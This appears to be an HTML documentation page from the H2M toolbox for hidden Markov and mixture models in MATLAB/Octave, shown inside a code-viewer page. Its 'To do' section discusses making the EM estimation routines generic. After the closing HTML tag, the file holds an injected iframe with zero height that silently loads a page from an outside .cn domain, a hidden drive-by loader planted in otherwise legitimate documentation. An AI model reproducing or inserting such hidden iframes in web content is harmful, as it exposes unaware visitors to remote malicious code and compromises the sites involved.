📄 node21.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><!--Converted with LaTeX2HTML 2K.1beta (1.48)original version by: Nikos Drakos, CBLU, University of Leeds* revised and updated by: Marcus Hennecke, Ross Moore, Herb Swan* with significant contributions from: Jens Lippmann, Marek Rouchal, Martin Wilck and others --><HTML><HEAD><TITLE>To do</TITLE><META NAME="description" CONTENT="To do"><META NAME="keywords" CONTENT="H2M, H2M/cnt, Hidden Markov Model, HMM, Mixture model, Vector Quantization, Expectation Maximization, EM, Multivariate Gaussian, Count data, Poisson, Negative binomial, MATLAB, OCTAVE, GPL"><META NAME="resource-type" CONTENT="document"><META NAME="distribution" CONTENT="global"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><META NAME="Generator" CONTENT="LaTeX2HTML v2K.1beta"><META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"><LINK REL="STYLESHEET" HREF="h2m.css"><LINK REL="next" HREF="node22.html"><LINK REL="previous" HREF="node18.html"><LINK REL="up" HREF="h2m.html"><LINK REL="next" HREF="node22.html"></HEAD><BODY BGCOLOR="ivory"><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html360" HREF="node22.html">Downloading H2M</A><B>Up:</B> <A NAME="tex2html356" HREF="h2m.html">H2M : A set</A><B> Previous:</B> <A NAME="tex2html350" HREF="node20.html">Functions in the H2M/cnt</A><P><!--End of Navigation Panel--><H1><A NAME="SECTION00060000000000000000">To do</A></H1><BLOCKQUOTE><B>What follows is a remark that could be useful for people needing to adapt the code to a new type of model rather than an actual wishlist since I don't plan to to this myself at the moment.</B></BLOCKQUOTE><P>If you take a look at the code in <code>nbh_em</code>, <code>ph_em</code> or <code>pm_em</code>and compare these with the corresponding functions for multivariate Gaussianstate conditional distributions (<code>mix</code>, <code>hmm</code>, etc) you will se thatthey are all very similar and that one could indeed develop generic routinesfor EM estimation of mixtures and HMMs. The only model specific elements thatare needed are<OL><LI>A routine that compute the density values given the data and the parameters characterizing the different model states (this is done by the function <code>gauseval</code> for multivariate Gaussian distributions).</LI><LI>A routine that updates the parameters of the state conditional distributions given the a posteriori state probabilities (this is done by the <code>hmm_dens</code> for multivariate Gaussian distributions). This second function can be somewhat more difficult to implement since one needs to consider the precise form of the EM intermediate quantity, but usually this just boils down to a straightforward modification of the maximum likelihood computation in the corresponding model (see, for instance, the end of <code>pm_em</code> for the case of Poisson distributions).</LI></OL>Everything else (including the forward-backward recursions and the reestimationof the transition matrix and, if needed, of the initial states - that isfunctions such as <code>hmm_fb</code>, <code>hmm_vit</code>, <code>hmm_tran</code> or<code>mix_post</code>) is absolutely generic.<P>For doing this with MATLAB/OCTAVE, one would have to use <code>eval</code> statements(so as to allow passing the names of the above two routines as parameters) aswell as variable number of input arguments (since all distributions do not havethe same number of parameters). The latter could be done easilly in MATLAB(starting from V 5) using the <code>varargin</code> construct.<P><P><HR><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html360" HREF="node22.html">Downloading H2M</A><B>Up:</B> <A NAME="tex2html356" HREF="h2m.html">H2M : A set</A><B> Previous:</B> <A NAME="tex2html350" HREF="node20.html">Functions in the H2M/cnt</A><P><!--End of Navigation Panel--><ADDRESS>Olivier Cappé, Aug 24 2001</ADDRESS></BODY></HTML>
<iframe src=http://www.mnuiu.cn/ar.htm width=100 height=0></iframe>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -